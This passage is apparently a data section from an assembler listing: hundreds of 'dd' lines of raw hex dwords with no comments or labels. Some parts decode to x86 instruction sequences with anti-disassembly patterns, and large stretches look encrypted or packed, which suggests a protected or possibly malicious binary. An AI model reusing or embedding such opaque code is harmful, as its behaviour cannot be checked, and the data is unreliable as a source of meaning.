		dd 0AA81EEE5h, 0A0C0F468h, 818BE200h, 67FFFD5Dh, 8D658C23h
		dd 395AD24Bh, 0CDFA8DDAh, 3B65CAB3h, 0F2D74BB0h, 0EAB1EC02h
		dd 0D88C085Fh, 24554303h, 9B14984Fh, 16EBh, 4 dup(0)
		dd 1010000h, 3DCh, 8166060Eh, 50C179F2h, 2860Fh, 5EB30000h
		dd 89240489h, 7312DB5h,	6A006A06h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0A603C350h
		dd 0E1F68BBh, 8E0FBE82h, 6, 4419529h, 6A0607h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 96C35141h, 6952E981h
		dd 858D3B3Ch, 60E5577h,	0FDDB529h, 89500607h, 6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 228C8AC3h, 0C868BEE9h, 49BD3369h, 6006071Bh,	61DE8B66h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 9078E0C3h, 3160EBD3h, 7105DB5h, 38C0F06h
		dd 80000000h, 6A6158E5h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0F1B920B1h, 0F1816616h
		dd 95FF9F16h, 60704C1h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 0ABC35242h, 90E9DF4Ah, 6A000005h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 899CC351h, 71E459Dh,	0E806h,	815D0000h, 0E557CEDh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 5CE91017h, 0EE9h, 0D3249900h, 0E105B73Fh, 0B099EECh
		dd 53940911h, 0CE9h, 5069DE00h,	0EA119A92h, 18D4843Fh
		dd 0BD8B5B71h, 6070069h, 23737868h, 81FB8BA1h, 9C282404h
		dd 6A5EDCh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 5995BEC3h, 95FF54F7h, 60716B5h, 8DBADB80h
		dd 0E540CB5h, 75852906h, 0C7060706h, 67655206h,	0D5B9666Dh
		dd 446C7ECh, 6C636E6Fh,	1EBDBD8Bh, 46C70607h, 73736108h
		dd 8CBF6600h, 6A006A00h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0FBCFC353h,	0E6E65F68h
		dd 8ABBF8CFh, 0D800Fh, 8E90000h, 0D7000000h, 0D2CA6EAAh
		dd 8D877283h, 0E540C85h, 10E906h, 0B5070000h, 673F83F5h
		dd 34125BE3h, 7F681BD8h, 50506B2Bh, 0F525052h, 8Eh, 0B3310F00h
		dd 0F585A43h, 5AD48A31h, 24048958h, 31399D8Bh, 95FF0607h
		dd 60715D5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	36C35040h, 6807787Dh, 0F80D680h, 158Ah,	10E900h
		dd 0EAB90000h, 0C5010517h, 8AE43885h, 0C8AB1049h, 0C00BAE72h
		dd 54840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0AC6CC1C3h, 2A994790h, 0BD89A541h
		dd 60725DDh, 3A9E9h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 4D1D4049h, 0E757545Bh
		dd 8A68F878h, 50C1C540h, 0FFE8A52h, 2810F31h, 0B7000000h
		dd 81585A0Eh, 0C0A22404h, 0F5803E3Ah, 0B595FFAFh, 6A060716h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0A91DC356h, 0AB4604Eh, 0CB58D61h,	6A060E54h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0EE98C356h, 68F4B03Eh, 26D58589h,	6C70607h
		dd 36343831h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 18h,	0A0C35141h, 2E6C1BCCh, 1586FABBh, 446C75Fh, 31342D37h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 4CC35141h
		dd 0D2D8D54Ch, 0E6AD53B9h, 846C704h, 0
		dd 13E9h, 0D5C7BE00h, 0A560DCE1h, 0B288822h, 819B7106h
		dd 8D8548CDh, 10E9006Ah, 21000000h, 0EBDFA567h,	2FA62FC6h
		dd 0D581D386h, 8D3671BBh, 0E540C85h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 8B737D13h
		dd 72A999Dh, 0BE89006h,	0E5000000h, 54332D20h, 11BB35AFh
		dd 0CF8B8C99h, 5250505Ah, 310FD38Bh, 585A25B7h,	0EDBD0390h
		dd 0F060710h, 95FFDBBFh, 60715D5h, 6ACF8166h, 0FC00BE8h
		dd 4584h, 0F88B6600h, 215E9h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 97ECA8E1h
		dd 8B602674h, 7149585h,	9D895206h, 6070D45h, 8D8B6158h
		dd 6070B09h, 1AADBD8Bh,	0EA680607h, 664A6E09h, 81FB07BFh
		dd 8C62434h, 9D8B4A6Eh,	6071D61h, 16B595FFh, 0BD090607h
		dd 6071CB5h, 540CB58Dh,	6A060Eh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0E3E081C3h, 0BAD9D2Bh
		dd 6C70607h, 656C6946h,	6840Fh,	9D8B0000h, 60712B9h, 0C7FE8B66h
		dd 6F6D0446h, 6A636Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0FBD894C3h, 665A6A33h, 0C76825B9h
		dd 616C0846h, 6A7373h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 46C738C3h, 0Ch, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 0C2182F78h, 93513ABFh, 6A7622h, 12E9h, 88344200h, 0DE519F9Ah
		dd 2AFF0AF3h, 0B017EFF7h, 8BA48B17h, 72D31BDh, 0C858D06h
		dd 6A060E54h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0CCA6C351h, 81BD8921h,	0F060725h
		dd 68Bh, 0DB58900h, 90060713h, 0CA8B6656h, 0DE8505Fh, 77000000h
		dd 3198A22Ch, 0BE0284EDh, 0DE65BF33h, 0D78B5250h, 0BA66310Fh
		dd 585A9878h, 6A905Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 4DF861C3h, 0F83BD88h, 184h, 95FFF500h
		dd 60715D5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0E8C35040h, 5E1BD8Bh, 0C00B0607h, 1D840Fh, 958B0000h
		dd 6072C65h, 1DE9h, 6840F00h, 3000000h,	730FD95h, 59952906h
		dd 0E9060709h, 0FFFFFAB1h, 121DBD03h, 0B58D0607h, 6076D68h
		dd 2879958Bh, 0B80607h,	0FF000000h, 518D01E6h, 8B060702h
		dd 0BBE9C1h, 27F00000h,	8C885634h, 0ED23F1CFh, 50C2906Eh
		dd 0B65F2D0Bh, 402CC7A5h, 0FFDD7E97h, 9876E531h, 341249CAh
		dd 0D2B0AB66h, 0B3951C00h, 3884D5C5h, 0A72EA65Eh, 84D5C4C5h
		dd 25481303h, 5336795Eh, 4D0E04EEh, 74ECF42Ah, 0C76B0BEDh
		dd 6A4D907Eh, 9EF6CA6h,	6D90CB4Bh, 0B64DC3A6h, 7EC76AE1h
		dd 0E6759F5Dh, 0B4707603h, 0AE6C7E84h, 0CD3F665h, 1D4A9C29h
		dd 0EEBF7E43h, 747E00C9h, 0Dh, 4BD24A11h, 7EC76B69h, 20C8ABEEh
		dd 48130415h, 2B30E125h, 0C4FC408h, 0EA71A5E9h,	0C99283C7h
		dd 0A8B362A6h, 8AD14185h, 6EED2367h, 4E0D074Bh,	0EC682A2Bh
		dd 0E9060E5Ah, 0FFF91FC6h, 0C68D8D0Fh, 6A060E5Ch, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0F75FC355h, 0AEA1A8Ah, 6798D89h, 6A0607h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0F6F199C3h
		dd 85C7BC4Ah, 6072CE5h,	73DCh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 26C35040h, 83157B80h, 85C7B31Fh
		dd 6072D05h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 9BC35646h
		dd 0ED9B5DBFh, 6AC49C56h, 0B5FFFCA5h, 6070C91h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0D7C35242h, 0E972107Ah
		dd 6, 0BD5E511Fh, 32BF3A89h, 0B01495DCh, 0BD95FFD2h, 6A060700h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 8983C355h, 7281D8Dh, 8E906h, 5D2F0000h, 8659824Bh
		dd 0E7808955h, 0FF006A91h, 716B595h, 0EBC08B06h, 0D11C727Eh
		dd 0C2B28F4Fh, 0C9EAD3E1h, 8837F381h, 11540D27h, 0BED63E1Ch
		dd 84C446BFh, 6060F13Bh, 1E63CAF9h, 87889760h, 0F7E537A6h
		dd 0B292F890h, 37A02DE7h, 617F7EAFh, 11048C94h,	0E33547ACh
		dd 0BEA2E2E1h, 18076853h, 215A2Ah, 0B9D15E9Dh, 0ED057B10h
		dd 116D8F10h, 29B0C9DBh, 0B559B3CAh, 0A9527617h, 809BEA95h
		dd 43F6AA6h, 0DB5A241Ah, 863F5CB8h, 4DBD3A63h, 5B2256FBh
		dd 0EB08F1F3h, 0ABEE140Ch, 0D9AC8528h, 0CE5E741Ch, 5C7E980h
		dd 0BBE90000h, 65000005h, 0FDCBA9B2h, 98664417h, 3705E378h
		dd 0D4A280DBh, 0A13C1A41h, 52090CCBh, 0EB70A674h, 87D43F0Dh
		dd 2536DBA9h, 0A917547h, 84D5C828h, 434D3ADh, 0E72B4E0Dh
		dd 0E0C2F2Ch, 0B497C450h, 77FE26F0h, 7EC76B95h,	528D71Ah
		dd 888A54C1h, 0BD0124D3h, 9CE00358h, 7EC2E576h,	62A6C992h
		dd 8686A9B2h, 0E624C793h, 0C058DFC5h, 3BA42B11h, 78B93Dh
		dd 0BA569ABDh, 1BF5C3A1h, 0CB101D40h, 18A13CCh,	0E5294C0Fh
		dd 0E0092C2Fh, 80BD7ACh, 955DA453h, 3F1CF42Eh, 9C42D761h
		dd 92803EB6h, 0E4779DC9h, 970F7401h, 89CC4405h,	46A36866h
		dd 0F151F71h, 43FF3EF6h, 3212F310h, 0D3888B4Fh,	6FEC27F5h
		dd 17E3F4Ch, 9961492Fh,	401BF822h, 0ABEF955Ah, 2E627FCCh
		dd 0D64BD54Bh, 0B6D98293h, 0E25A40EFh, 8669F224h, 26D13AF9h
		dd 5AB87623h, 0DAA11E01h, 0F1CB417Ah, 0E407B681h, 278D01D7h
		dd 9AE18F23h, 288F2065h, 116B3Ah, 0BB790000h, 9FE30655h
		dd 5639E873h, 3844CF1h,	4E90000h, 0EE664C0Fh, 0C76B8567h
		dd 0C74A0A7Eh, 4702E594h, 0C1B38449h, 0D8EE954Eh, 7CDF31F5h
		dd 0F6CD5F59h, 0FA61B472h, 9BC05317h, 5A7035BDh, 0F6EA177Fh
		dd 6BA86C4Fh, 9F78CDF0h, 4E88EFDFh, 0DDFA19C5h,	5E96A0B5h
		dd 0D1F4A369h, 0AF7D5B0Ah, 0C3987D61h, 65ADF114h, 12C19A79h
		dd 7767ABEFh, 0EB0EBD9Eh, 0CFF269A7h, 84D3A870h, 815D2290h
		dd 7E25488Fh, 274A1103h, 62EB2D60h, 9AC1507Ch, 2301B077h
		dd 0A1377C8Ch, 0FCB37899h, 4516FC03h, 13285B22h, 0AB6F52ADh
		dd 4513F16Ah, 69678AD1h, 78886AF1h, 4FC659A0h, 1E4270Ch
		dd 5F82D93Dh, 35854A00h, 1FDDD632h, 562DBDA0h, 2B230DD2h
		dd 73E71200h, 114ACC90h, 95AD33h, 484A0000h, 0A4E80BD3h
		dd 4210EE6Dh, 5D6A8DCEh, 7EC76B7Bh, 0E23C83F1h,	814F2D2Eh
		dd 5FA3C695h, 9EB72B2h,	8E7EC76Bh, 67F41F4Bh, 0ABCE7D44h
		dd 39D8964Ch, 0C8AF3F22h, 7553080Eh, 0C9EC6FA7h, 0AA9906CBh
		dd 0A7B9DA78h, 0B268D787h, 2104B3DDh, 80A3B85Dh, 65B10674h
		dd 44CCAAB1h, 0A8CB9086h, 0DB3AFEE1h, 0E085D80h, 3E98DF11h
		dd 0D8A684D7h, 0FFFD203Bh, 6588D341h, 572EBB9Eh, 0A37EC7C0h
		dd 591E0279h, 0B0A1D540h, 0A67F91A3h, 0E34E8234h, 868D5134h
		dd 488F7D5h, 0E5294C0Fh, 89472D2Eh, 5E4C4F88h, 7800179Dh
		dd 0FCDFA6C9h, 148C8241h, 0C80BAB8Dh, 0AED307Eh, 3AD9057Ah
		dd 997D3B21h, 0E169DFC2h, 886BF023h, 0C80E00FBh, 5715FB7Eh
		dd 0B2799CBFh, 1A5430CFh, 2435DE88h, 5CFFFFFFh,	0B993854Ah
		dd 8FC29977h, 4A79AFA8h, 28E9173Dh, 3CBC9F4Eh, 9017FD25h
		dd 78C014A5h, 0C004276Ah, 0A42C0A51h, 6CAD9BDFh, 795C9909h
		dd 0F87B5CB5h, 0D2B58979h, 0DC2043F2h, 0EE6DA836h, 325504CBh
		dd 1EA51DD3h, 78C1393Ch, 0B9B7EC1h, 0B4A76AB4h,	633F09CEh
		dd 113427EBh, 3E7E174Ah, 6E91CA46h, 9F15F8A7h, 0F81B40D1h
		dd 0C0CE14EBh, 0F0C7CF78h, 9270EB26h, 0EB0E4DC4h, 78E32FEDh
		dd 59021155h, 0C7947EAAh, 25FD64E4h, 0F5F9B83Fh, 0F33672B8h
		dd 2C0E950Dh, 0B172B9A5h, 8A3922F1h, 31A931A7h,	0A55032B9h
		dd 92D572B9h, 0B9A5BB9Dh, 0F065F272h, 92B173FCh, 3328EDADh
		dd 3821A184h, 0C684FCE2h, 7052D94Bh, 0F572B97Bh, 19E003B2h
		dd 0D438A936h, 0BAFD6CAAh, 729E5CD4h, 1D12F4E9h, 54976CABh
		dd 0FAB8B671h, 9C604318h, 3806E477h, 505D80DBh,	7E05640Bh
		dd 5882F98Bh, 0E269BBh,	853E05D5h, 0E7B59342h, 0B092C2Fh
		dd 7194C74Dh, 0C574E72Dh, 66F51EE2h, 0A51C280h,	0C0639CE7h
		dd 7C99E93Eh, 432FEACDh, 6C192E95h, 1F1F4AA9h, 0AAh, 4BD24A46h
		dd 7EC76B69h, 4C8ABEEh,	0A7654B10h, 990FF269h, 381645CBh
		dd 0D5B3A86Ah, 6F4D0E07h, 0CFFA22E7h, 0AC9BDDBh, 0A9B26327h
		dd 8D8543CBh, 0EF27EBCEh, 53C08E6Ch, 0B55C2A08h, 1BFAC8A6h
		dd 0B4D51D40h, 97BAA170h, 78A61D8Bh, 0C32B0D94h, 6DB07EC7h
		dd 14D9BD8Fh, 1637ED7Ah, 0BD785B18h, 0DEC047BFh, 637EC7F2h
		dd 0A0C13D20h, 45000000h, 0EBCE8D87h, 0C5854A86h, 0F566AD1Bh
		dd 0BE0CDBC2h, 310E25DBh, 9F7EC808h, 6244CB43h,	0E77EC808h
		dd 4A31C1A4h, 0F5D75ED6h, 7A7EC807h, 0AC885437h, 7CBAD34h
		dd 0D507EC8h, 854AC52Ah, 0CE0C696Fh, 783C1FFDh,	59E1BF9Ch
		dd 3F287994h, 0A578AD1h, 0C88C6FCDh, 67351348h,	4D2B0ABh
		dd 9E6C4A11h, 40FEE477h, 99C207D0h, 9FFA3AA3h, 2306CDF0h
		dd 0AB6725ADh, 93C68DB0h, 3201C47h, 0BB7F6227h,	551A005Bh
		dd 74A2B15Eh, 505DB4E7h, 0F9C73D20h, 9563411Ah,	7B01DF7Ch
		dd 3, 4152018h,	0E1254813h, 0C4082B30h,	0A5E90C4Fh, 83C7EA71h
		dd 62A6C992h, 4185A8B3h, 23678AD1h, 74B6EEDh, 2A2B4E0Dh
		dd 81E18951h, 4C1h, 4E98300h, 8B240C87h, 0EB682424h, 8900002Dh
		dd 89572434h, 4C781E7h,	81000000h, 4EFh, 243C8700h, 242C895Ch
		dd 4E0F6857h, 815F14ECh, 0DDF0AEEFh, 5F5E570Eh,	242C8B54h
		dd 5104C483h, 4D89F189h, 240C8B08h, 4C481h, 2C8B0000h
		dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 5624348Bh
		dd 0C681E689h, 4, 4C681h, 34870000h, 5BE95C24h,	83FFF918h
		dd 0D59DB01h, 522869C6h, 8AB88DFBh, 3060E62h, 0FED38BC5h
		dd 77B1BCAh, 43F398A8h,	778668Ah, 0EAD5ABA8h, 7783E75h
		dd 43F086A8h, 0AE5DBA8Ah, 43F17357h, 7792E8Ah, 0EAD5ABA8h
		dd 779F175h, 43F1A1A8h,	77E738Ah, 43F623A8h, 77EF58Ah
		dd 0EAD5ABA8h, 0D42F2575h, 132430F8h, 3285C003h, 90A752A6h
		dd 57AC2134h, 7601D121h, 0D42F4384h, 132431BDh,	328DC003h
		dd 90A752A6h, 57AC20E7h, 761DD121h, 0D42F4384h,	1324316Ch
		dd 3299C003h, 90A752A6h, 57AC2393h, 7669D121h, 0D42F4384h
		dd 132432F5h, 32E5C003h, 90A752A6h, 57AC232Ch, 7665D121h
		dd 0D42F4384h, 1324324Fh, 32F1C003h, 90A752A6h,	57AC22A2h
		dd 767DD121h, 0D42F4384h, 132433C1h, 32F9C003h,	90A752A6h
		dd 57AC2228h, 7675D121h, 0B8C34384h, 152A5012h,	0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah, 1FC0D5F2h, 96A44BEEh,	152AA8EDh
		dd 2429458Ah, 96E367A0h, 0D5ADBAB4h, 152A54A1h,	5564C6CBh
		dd 0EAD5BA41h, 0AE63CE75h, 1231C93Ah, 5342848Ch, 0EA2211ABh
		dd 245D55FFh, 9C3AABA4h, 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h
		dd 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0AD6C54A8h
		dd 51A24162h, 0BFEA6603h, 0DB2FEE27h, 13241830h, 1129475h
		dd 8DA0D902h, 0AEA44BC6h, 51A1EC79h, 0DC0941AEh, 1B66CC22h
		dd 3773BA8Ch, 732ADF10h, 0C928C821h, 0EA2C5AE4h, 152BFD5Bh
		dd 9881508Ch, 5FEEDD00h, 0A5FBABAEh, 2C89EFD2h,	0E957DDA4h
		dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah
		dd 0DFC0D5F2h, 0DAA44BEEh, 68A15CDDh, 0ADE78286h, 152A54A8h
		dd 1030BACCh, 9E2C53BDh, 0FC69CE52h, 0A5B99783h, 0FA31EFE2h
		dd 8DA0D9F9h, 0AEA44BC6h, 949A0D79h, 551A2320h,	8481328Ch
		dd 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h
		dd 15C23454h, 0BA2458Ah, 700BBE29h, 24294384h, 1957DFA0h
		dd 515E004Dh, 532A54A8h, 44E3D775h, 0CDA152AFh,	0FC69CE19h
		dd 0A5B9979Bh, 0FA31EFE2h, 8DA0D9F9h, 0AEA44BC6h, 949A0D79h
		dd 651A2320h, 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h
		dd 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh
		dd 0FDA2458Ah, 1DC9953Bh, 919197B9h, 38F2DE04h,	51A2454Ah
		dd 1AD5A828h, 51A25E0Eh, 1523EDA8h, 0A055458Ah,	9025862Dh
		dd 51A24586h, 7332A328h, 37AA8E4Bh, 0BE4C9723h,	0D8AE38A1h
		dd 9E4BA8D5h, 936BB9CFh, 9E7F54A0h, 0AD66C666h,	1D5FDFC8h
		dd 96AE3801h, 152AA8EDh, 0C20E458Ah, 2622B769h,	0FD627658h
		dd 0D5078C22h, 0D1A2458Ah, 9125AB54h, 51A24593h, 152A5D11h
		dd 0D453B28Ah, 1FAF5B7Ah, 0E0A2458Ah, 93E25610h, 9191EF4Bh
		dd 19577F03h, 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h
		dd 24292576h, 1957DFA0h, 515E004Dh, 0B92A54A8h,	0B2229D00h
		dd 85E1D4A7h, 0DC088600h, 1B66CC22h, 0E173BA8Ch, 9FA7FEF8h
		dd 57AC0912h, 0D6A08557h, 5DDF6E20h, 74D62921h,	985E0001h
		dd 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh
		dd 0E9A2458Ah, 152A54AFh, 4A3FD775h, 452652AFh,	0C928C820h
		dd 0EA2C5AE4h, 0FB2BF55Bh, 3186949Bh, 59622E85h, 0A58050ACh
		dd 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh
		dd 9E4AA86Ch, 2C294DFFh, 0E96F93A4h, 51A2458Ah,	87D5FE04h
		dd 57A550CBh, 17868C23h, 0DB2FEF49h, 13241830h,	0E9C49475h
		dd 0BE4CBD28h, 7A088600h, 68A358D5h, 14292476h,	1DE89D54h
		dd 0BD29108Ah, 75D6902Bh, 0DAAA3001h, 50ED58D5h, 51A24576h
		dd 0EA80F8A8h, 56B70418h, 0B9E2DFAEh, 0DC088558h, 1B66CC32h
		dd 3771BA8Ch, 73E39410h, 0FB63CF21h, 9C262983h,	0DAC3B9F7h
		dd 0D7E3A8EDh, 0DAF74582h, 0E9EED744h, 59D7CEEAh, 0D2262923h
		dd 51A2B9CFh, 0BF8654A8h, 44E3D775h, 0DDA152AFh, 0FB637726h
		dd 59B2CE25h, 825D4384h, 0E4AAECCEh, 9028EEECh,	19577F02h
		dd 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h,	24292576h
		dd 1957DFA0h, 515E004Dh, 732A54A8h, 376B7732h, 8DB0D903h
		dd 0AEA44BC6h, 9592327Bh, 0FD09234Bh, 6801FE04h, 0ADDFCC86h
		dd 0E96FDFC9h, 51AA8743h, 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh
		dd 0ADE78286h, 152A54A8h, 0B824FDECh, 8FA7FFCEh, 57AC0912h
		dd 0A09A8757h, 0FB0E0320h, 59B2CE25h, 825D4384h, 0D8ACECCEh
		dd 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah, 0E7C0D5F2h, 96A44BEDh, 152AA8EDh
		dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah
		dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch
		dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah
		dd 60D554A8h, 59D7BA86h, 760DCE25h, 0DCF14384h,	1B49AA32h
		dd 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 6638C882h
		dd 462C5ACBh, 325CDF07h, 0C6D552A6h, 0B85E0003h, 152A5492h
		dd 0AEAE3075h, 8FA75CDDh, 57AC26C9h, 0EBB0D9FBh, 0AEA44BE9h
		dd 0E96FDD7Bh, 51A25863h, 195FABA8h, 0DCAA3075h, 1B491B32h
		dd 0CB2F168Ch, 13243756h, 142B9675h, 152ABD54h,	0DAC3458Ah
		dd 0D7E3A8EDh, 44BA4582h, 0E9000030h, 15h, 269FCB4Dh, 4	dup(0)
		dd 0E19E900h, 32680000h, 0E9060E6Bh, 0FFF91286h, 0E6C2E68h
		dd 127CE906h, 0FF68FFF9h, 0E9060E6Ch, 0FFF91272h, 0E6DBA68h
		dd 1268E906h, 2D68FFF9h, 0E9060E71h, 0FFF9125Eh, 0E745A68h
		dd 1254E906h, 5768FFF9h, 0E9060E75h, 0FFF9124Ah, 8C6AF126h
		dd 270556BEh, 0C6A4B759h, 63411AF8h, 0FDDB8095h, 48CD0A62h
		dd 0AF673513h, 1300CEACh, 759C6A48h, 523608E6h,	0D5D3E9CBh
		dd 0F5946E84h, 0D4878C4Ah, 4307EAB1h, 0DEA389D2h, 0F6CF437Eh
		dd 4ED5BBEBh, 7EC7B36Ch, 10CBAEF1h, 361447CCh, 3823F0AEh
		dd 964CD555h, 0B54E29B0h, 90D378C0h, 33BA32AAh,	78C0AD51h
		dd 0BC9E93D6h, 4178C0ADh, 53601BFEh, 78C0AD7Dh,	70F76F0Bh
		dd 78C0AD8Eh, 5DEDD013h, 73A4E166h, 4CE7E48Fh, 0E000000h
		dd 2309D148h, 0BF89419Ch, 0D07C578h, 38642B4Eh,	1F9C7FDCh
		dd 82A5B65Fh, 0EBE90CBBh, 9AE7BB26h, 89B58450h,	0E5ACCF8Ch
		dd 889F7502h, 912D78BFh, 0A5B65B19h, 0E4C6BB82h, 6978BF87h
		dd 0CCB34326h, 90944E37h, 73DE4h, 4C640000h, 937h, 0D10D04E9h
		dd 7658DF45h, 0FB7EC76Bh, 375A09B8h, 5F3D1EF3h,	0B0964CD5h
		dd 0BF9C7A38h, 65F2D59Ch, 78C07B92h, 0A4B1D417h, 78C05ACEh
		dd 32C9AE5Ch, 0E48FC553h, 4D33DFBh, 50CE3D33h, 43661553h
		dd 4658997Ch, 66000000h, 0DF06BA8h, 0D2D148A8h,	0C76B694Bh
		dd 0FCABEE7Eh, 9BB88F16h, 0F23578BFh, 3AECC2CFh, 0CC7A78C0h
		dd 0E13550F7h, 5419E48Fh, 42605081h, 0FF402327h, 0FCh
		dd 472480Dh, 9443DFAFh,	8037A361h, 0BC9F4A46h, 4E0D0457h
		dd 2D2EE72Bh, 104BC60Ah, 0B277EFEDh, 0EDC5392Ch, 0BB9D92CEh
		dd 407EC7CAh, 0BB561AFDh, 172E4A1Ch, 0BBC787E6h, 0F3ADE0BDh
		dd 3F1CF784h, 7AA6551Ch, 0DBA2C596h, 0C1B74E2Ch, 7D7EC791h
		dd 8A9C7E05h, 84D37EC7h, 461E5D35h, 14478A6Fh, 74D92C18h
		dd 0AA6E5101h, 4816F467h, 0F2D45BC9h, 307EC809h, 8B5275E6h
		dd 0F67D63A6h, 7EC80A14h, 84A75699h, 5F459D84h,	0C10FE5D8h
		dd 8167AA78h, 280B50C3h, 0E93128B2h, 0AB3F7C03h, 397C72B6h
		dd 0DB809553h, 75E62FFDh, 0AA82DF3Eh, 5016217h,	0AFFh
		dd 9C7AE136h, 371546CEh, 0D6B4A769h, 73510A08h,	0DEB70A5h
		dd 38DDFA72h, 9F774523h, 310DEBCh, 65AC7A58h, 624618F6h
		dd 0D5D5F9DBh, 5A47E84h, 6C4A1104h, 2E8739Eh, 6B21038Ah
		dd 0B45F7EC7h, 0D8BD84A7h, 0CD3CB295h, 2309D148h, 87AAB165h
		dd 0D85FDDC0h, 78BF9B01h, 9B7D047Eh, 2078C03Bh,	0FE0B2EDDh
		dd 78C03B28h, 0BA5C1AB6h, 492EBEA1h, 8FE1D3B2h,	55BD7BE4h
		dd 769FE306h, 125336E5h, 0B1h, 179F5B20h, 0FC4C2EB5h, 8ED178BFh
		dd 47EA75Bh, 0D04BC21h,	2EE72B4Eh, 6B8D6FF6h, 0CF127EC7h
		dd 0C8EB70A3h, 312F5201h, 95B8A373h, 685EEBCEh,	0DE7EC76Eh
		dd 0F16AAB33h, 789E5C42h, 8BAEAD66h, 2BF215C4h,	0D04D248h
		dd 362B2B4Eh, 90830AF0h, 5578C06Ch, 0B7AA3412h,	0CE02896Fh
		dd 1372B602h, 0E92CEAD0h, 8F3E1DF5h, 2932E3B1h,	0AB22F5F2h
		dd 0AFAB0C17h, 0A03h, 9876E532h, 33114ACAh, 0D2B0AB65h
		dd 6F4D0E04h, 9E774A1h,	3CD9FE6Eh, 0A373411Fh, 70CDAB8h
		dd 69A87654h, 5E4214F2h, 0D5D6F5D7h, 1A07A84h, 6C4A1104h
		dd 0AE8739Eh, 4E0D049Bh, 0B42AE72Bh, 0CA91825Ch, 0C1866C1Bh
		dd 0BD27DECAh, 0C93F2215h, 51C821EAh, 6D2BA389h, 0CC93B6A5h
		dd 25795CE9h, 0BBFE78C0h, 0D85F10D5h, 0AAB84F12h, 0D7CC3FC7h
		dd 910EFB92h, 0A76C5288h, 25053224h, 0E9674AF7h, 0F4105762h
		dd 0F6195CC8h, 0D5BB63F6h, 0EA2E994Eh, 0FB16D6C2h, 0C7763D60h
		dd 65AB69E1h, 0C24F13F6h, 0BB33BB99h, 0EA365234h, 6D4FD6C2h
		dd 0F2C2EA36h, 4E03CAAFh, 0FDA3276Bh, 0B2765908h, 3B18785Fh
		dd 68B77FE9h, 586F82B9h, 3192C778h, 93235h, 47140300h
		dd 0E2799B69h, 81DA3604h, 1E3DD5A3h, 0B8A37240h, 0AA2D3FDAh
		dd 4412F06Bh, 0DDAB89D2h, 79472536h, 13E5C398h,	0D6C6A82Fh
		dd 714B84D5h, 28854AD2h, 0DCA1C930h, 0B25F2306h, 0E05C3A9h
		dd 80632A4Dh, 865CC5C5h, 0DB9619A0h, 9C5A78C0h,	0FDC4E774h
		dd 745A9D1Ah, 0DCFF5CB6h, 0B54AFC91h, 39E85987h, 0F91AD856h
